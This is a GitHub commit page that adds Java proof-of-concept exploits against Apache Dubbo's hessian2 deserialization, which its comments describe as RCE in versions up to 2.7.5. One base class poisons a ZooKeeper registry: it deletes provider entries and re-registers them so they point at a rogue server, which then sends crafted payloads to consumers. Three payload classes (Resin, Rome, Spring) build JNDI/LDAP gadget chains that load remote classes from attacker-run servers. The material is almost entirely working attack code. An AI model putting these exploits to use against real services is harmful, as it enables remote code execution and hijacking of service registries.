Skip to content

Commit 758d662

Browse files
author
threedr3am
committed
Merge branch 'feature/dubbo-rouge'
2 parents 78e87fb + b049cc7 commit 758d662

File tree

13 files changed

+1142
-0
lines changed

13 files changed

+1142
-0
lines changed
Lines changed: 95 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
package com.threedr3am.bug.dubbo.rouge;
2+
3+
import java.io.OutputStream;
4+
import java.net.ServerSocket;
5+
import java.net.Socket;
6+
import java.net.URLDecoder;
7+
import java.net.URLEncoder;
8+
import java.util.HashMap;
9+
import java.util.List;
10+
import java.util.Map;
11+
import org.apache.curator.framework.CuratorFramework;
12+
import org.apache.curator.framework.CuratorFrameworkFactory;
13+
import org.apache.curator.retry.RetryNTimes;
14+
import org.apache.zookeeper.CreateMode;
15+
16+
/**
17+
* @author threedr3am
18+
*/
19+
public class RougeBase {
20+
21+
public String getType() {
22+
return null;
23+
}
24+
25+
public void startRougeServer(String zookeeperUri, String rougeHost, int rougePort, byte[] bytes,
26+
boolean attackRegister)
27+
throws Exception {
28+
CuratorFrameworkFactory.Builder builder = CuratorFrameworkFactory.builder()
29+
.connectString(zookeeperUri)
30+
.retryPolicy(new RetryNTimes(1, 1000))
31+
.connectionTimeoutMs(3000)
32+
.sessionTimeoutMs(600000);
33+
CuratorFramework client = builder.build();
34+
client.start();
35+
36+
if (attackRegister) {
37+
Map<String, String> data = new HashMap<>();
38+
String unique = "/";
39+
initData(data, unique, client);
40+
attackRegister(client, data, "dubbo://" + rougeHost + ":" + rougePort + "/");
41+
}
42+
ServerSocket serverSocket = new ServerSocket(rougePort);
43+
while (true) {
44+
Socket socket = serverSocket.accept();
45+
OutputStream outputStream = socket.getOutputStream();
46+
outputStream.write(bytes);
47+
outputStream.flush();
48+
outputStream.close();
49+
}
50+
}
51+
52+
private void attackRegister(CuratorFramework client,
53+
Map<String, String> data, String rougeUri) {
54+
data.entrySet().forEach(d -> {
55+
String pathParent = d.getKey();
56+
String path = d.getValue();
57+
try {
58+
client.delete().forPath(pathParent + "/" + path);
59+
} catch (Exception e) {
60+
e.printStackTrace();
61+
}
62+
String pathForDecode = URLDecoder.decode(path);
63+
pathForDecode = pathForDecode.replaceAll("dubbo://.+?/", rougeUri);
64+
pathForDecode = pathForDecode.replaceAll("serialization=.+?&", "");
65+
pathForDecode = pathForDecode + (pathForDecode.endsWith("&") ? "" : "&") + "serialization=" + getType();
66+
String rougePathForEncode = URLEncoder
67+
.encode(pathForDecode);
68+
try {
69+
client.create().withMode(CreateMode.EPHEMERAL).forPath(pathParent + "/" +rougePathForEncode);
70+
} catch (Exception e) {
71+
e.printStackTrace();
72+
}
73+
});
74+
}
75+
76+
private void initData(Map<String, String> data, String unique,
77+
CuratorFramework client) throws Exception {
78+
List<String> all = client.getChildren().forPath(unique);
79+
for (String i : all) {
80+
String uniqueChildren = unique + (unique.length() != 1 ? "/" : "") + i;
81+
if (i.equals("providers")) {
82+
makeData(data, uniqueChildren, client);
83+
continue;
84+
}
85+
initData(data, uniqueChildren, client);
86+
}
87+
}
88+
89+
private void makeData(Map<String, String> data, String provider, CuratorFramework client) throws Exception {
90+
List<String> all = client.getChildren().forPath(provider);
91+
if (all.size() > 0) {
92+
data.put(provider, all.get(0));
93+
}
94+
}
95+
}
Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
package com.threedr3am.bug.dubbo.rouge.hessian2;
2+
3+
import com.caucho.hessian.io.Hessian2Output;
4+
import com.caucho.naming.QName;
5+
import com.threedr3am.bug.dubbo.rouge.RougeBase;
6+
import com.threedr3am.bug.common.server.HTTPServer;
7+
import com.threedr3am.bug.dubbo.support.NoWriteReplaceSerializerFactory;
8+
import com.threedr3am.bug.common.utils.Reflections;
9+
import com.threedr3am.bug.dubbo.utils.ToStringUtil;
10+
import java.io.ByteArrayOutputStream;
11+
import java.lang.reflect.Constructor;
12+
import java.util.Hashtable;
13+
import java.util.Random;
14+
import javax.naming.CannotProceedException;
15+
import javax.naming.Reference;
16+
import javax.naming.directory.DirContext;
17+
import org.apache.dubbo.common.io.Bytes;
18+
import org.apache.dubbo.common.serialize.Cleanable;
19+
20+
/**
21+
* dubbo 默认配置,即hessian2反序列化,都可RCE(dubbo版本<=2.7.5)
22+
*
23+
* <dependency>
24+
* <groupId>com.caucho</groupId>
25+
* <artifactId>quercus</artifactId>
26+
* <version>4.0.45</version>
27+
* </dependency>
28+
*
29+
* @author threedr3am
30+
*/
31+
public class ResinPoc extends RougeBase {
32+
33+
static {
34+
HTTPServer.run(null);
35+
}
36+
37+
public static void main(String[] args) throws InterruptedException {
38+
try {
39+
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
40+
Constructor<?> ccCons = ccCl
41+
.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
42+
ccCons.setAccessible(true);
43+
CannotProceedException cpe = new CannotProceedException();
44+
Reflections.setFieldValue(cpe, "cause", null);
45+
Reflections.setFieldValue(cpe, "stackTrace", null);
46+
47+
cpe.setResolvedObj(new Reference("Foo", "Calc", "http://127.0.0.1:8080/"));
48+
49+
Reflections.setFieldValue(cpe, "suppressedExceptions", null);
50+
DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
51+
QName qName = new QName(ctx, "foo", "bar");
52+
53+
Object o = ToStringUtil.makeToStringTrigger(qName);
54+
55+
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
56+
57+
// header.
58+
byte[] header = new byte[16];
59+
// set magic number.
60+
Bytes.short2bytes((short) 0xdabb, header);
61+
// set response event and serialization flag.
62+
header[2] = (byte) ((byte) 0x20 | 2);
63+
header[3] = 20;
64+
65+
// set response id.
66+
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
67+
68+
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
69+
Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
70+
NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
71+
sf.setAllowNonSerializable(true);
72+
out.setSerializerFactory(sf);
73+
74+
out.writeObject(o);
75+
out.flushBuffer();
76+
if (out instanceof Cleanable) {
77+
((Cleanable) out).cleanup();
78+
}
79+
80+
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
81+
byteArrayOutputStream.write(header);
82+
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
83+
84+
byte[] bytes = byteArrayOutputStream.toByteArray();
85+
86+
String zookeeperUri = "127.0.0.1:2181";
87+
String rougeHost = "127.0.0.1";
88+
int rougePort = 33334;
89+
90+
new ResinPoc().startRougeServer(zookeeperUri, rougeHost, rougePort, bytes, true);
91+
92+
} catch (Exception e) {
93+
e.printStackTrace();
94+
}
95+
}
96+
97+
@Override
98+
public String getType() {
99+
return "hessian2";
100+
}
101+
}
Lines changed: 107 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,107 @@
1+
package com.threedr3am.bug.dubbo.rouge.hessian2;
2+
3+
import com.rometools.rome.feed.impl.EqualsBean;
4+
import com.rometools.rome.feed.impl.ToStringBean;
5+
import com.sun.rowset.JdbcRowSetImpl;
6+
import com.threedr3am.bug.common.server.LdapServer;
7+
import com.threedr3am.bug.common.utils.Reflections;
8+
import com.threedr3am.bug.dubbo.rouge.RougeBase;
9+
import java.io.ByteArrayOutputStream;
10+
import java.lang.reflect.Array;
11+
import java.lang.reflect.Constructor;
12+
import java.util.HashMap;
13+
import java.util.Random;
14+
import org.apache.dubbo.common.io.Bytes;
15+
import org.apache.dubbo.common.serialize.Cleanable;
16+
import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;
17+
18+
/**
19+
* dubbo 默认配置,即hessian2反序列化,都可RCE(dubbo版本<=2.7.5)
20+
*
21+
* <dependency>
22+
* <groupId>com.rometools</groupId>
23+
* <artifactId>rome</artifactId>
24+
* <version>1.7.0</version>
25+
* </dependency>
26+
*
27+
* @author threedr3am
28+
*/
29+
public class RomePoc extends RougeBase {
30+
31+
static {
32+
//rmi server示例
33+
// RmiServer.run();
34+
35+
//ldap server示例
36+
LdapServer.run();
37+
}
38+
39+
public static void main(String[] args) throws Exception {
40+
JdbcRowSetImpl rs = new JdbcRowSetImpl();
41+
//todo 此处填写ldap url
42+
rs.setDataSourceName("ldap://127.0.0.1:43658/Calc");
43+
rs.setMatchColumn("foo");
44+
Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
45+
46+
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
47+
EqualsBean root = new EqualsBean(ToStringBean.class, item);
48+
49+
HashMap s = new HashMap<>();
50+
Reflections.setFieldValue(s, "size", 2);
51+
Class<?> nodeC;
52+
try {
53+
nodeC = Class.forName("java.util.HashMap$Node");
54+
} catch (ClassNotFoundException e) {
55+
nodeC = Class.forName("java.util.HashMap$Entry");
56+
}
57+
Constructor<?> nodeCons = nodeC
58+
.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
59+
nodeCons.setAccessible(true);
60+
61+
Object tbl = Array.newInstance(nodeC, 2);
62+
Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
63+
Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
64+
Reflections.setFieldValue(s, "table", tbl);
65+
66+
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
67+
68+
// header.
69+
byte[] header = new byte[16];
70+
// set magic number.
71+
Bytes.short2bytes((short) 0xdabb, header);
72+
// set response event and serialization flag.
73+
header[2] = (byte) ((byte) 0x20 | 2);
74+
header[3] = 20;
75+
76+
// set response id.
77+
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
78+
79+
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
80+
Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
81+
82+
out.writeObject(s);
83+
84+
out.flushBuffer();
85+
if (out instanceof Cleanable) {
86+
((Cleanable) out).cleanup();
87+
}
88+
89+
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
90+
byteArrayOutputStream.write(header);
91+
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
92+
93+
byte[] bytes = byteArrayOutputStream.toByteArray();
94+
95+
String zookeeperUri = "127.0.0.1:2181";
96+
String rougeHost = "127.0.0.1";
97+
int rougePort = 33335;
98+
99+
new RomePoc().startRougeServer(zookeeperUri, rougeHost, rougePort, bytes, true);
100+
}
101+
102+
@Override
103+
public String getType() {
104+
return "hessian2";
105+
}
106+
107+
}
Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
package com.threedr3am.bug.dubbo.rouge.hessian2;
2+
3+
import com.caucho.hessian.io.Hessian2Output;
4+
import com.threedr3am.bug.dubbo.rouge.RougeBase;
5+
import com.threedr3am.bug.common.server.LdapServer;
6+
import com.threedr3am.bug.dubbo.support.NoWriteReplaceSerializerFactory;
7+
import com.threedr3am.bug.dubbo.utils.SpringUtil;
8+
import java.io.ByteArrayOutputStream;
9+
import java.util.Random;
10+
import org.apache.dubbo.common.io.Bytes;
11+
import org.apache.dubbo.common.serialize.Cleanable;
12+
import org.springframework.beans.factory.BeanFactory;
13+
14+
/**
15+
* dubbo 默认配置,即hessian2反序列化,都可RCE
16+
*
17+
* Spring环境可打,暂时测试Spring-boot打不了(应该是AOP相关类的问题)
18+
*
19+
* <dependency>
20+
* <groupId>org.springframework</groupId>
21+
* <artifactId>spring-aop</artifactId>
22+
* <version>${spring.version}</version>
23+
* </dependency>
24+
*
25+
* @author threedr3am
26+
*/
27+
public class SpringAbstractBeanFactoryPointcutAdvisorPoc extends RougeBase {
28+
29+
static {
30+
//rmi server示例
31+
// RmiServer.run();
32+
33+
//ldap server示例
34+
LdapServer.run();
35+
}
36+
37+
public static void main(String[] args) throws Exception {
38+
BeanFactory bf = SpringUtil.makeJNDITrigger("ldap://127.0.0.1:43658/Calc");
39+
Object o = SpringUtil.makeBeanFactoryTriggerBFPA("ldap://127.0.0.1:43658/Calc", bf);
40+
41+
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
42+
43+
// header.
44+
byte[] header = new byte[16];
45+
// set magic number.
46+
Bytes.short2bytes((short) 0xdabb, header);
47+
// set response event and serialization flag.
48+
header[2] = (byte) ((byte) 0x20 | 2);
49+
header[3] = 20;
50+
51+
// set response id.
52+
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
53+
54+
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
55+
Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
56+
NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
57+
sf.setAllowNonSerializable(true);
58+
out.setSerializerFactory(sf);
59+
60+
61+
out.writeObject(o);
62+
out.flushBuffer();
63+
if (out instanceof Cleanable) {
64+
((Cleanable) out).cleanup();
65+
}
66+
67+
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
68+
byteArrayOutputStream.write(header);
69+
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
70+
71+
byte[] bytes = byteArrayOutputStream.toByteArray();
72+
73+
String zookeeperUri = "127.0.0.1:2181";
74+
String rougeHost = "127.0.0.1";
75+
int rougePort = 33334;
76+
77+
new SpringAbstractBeanFactoryPointcutAdvisorPoc().startRougeServer(zookeeperUri, rougeHost, rougePort, bytes,
78+
true);
79+
}
80+
81+
@Override
82+
public String getType() {
83+
return "hessian2";
84+
}
85+
86+
}

0 commit comments

Comments
 (0)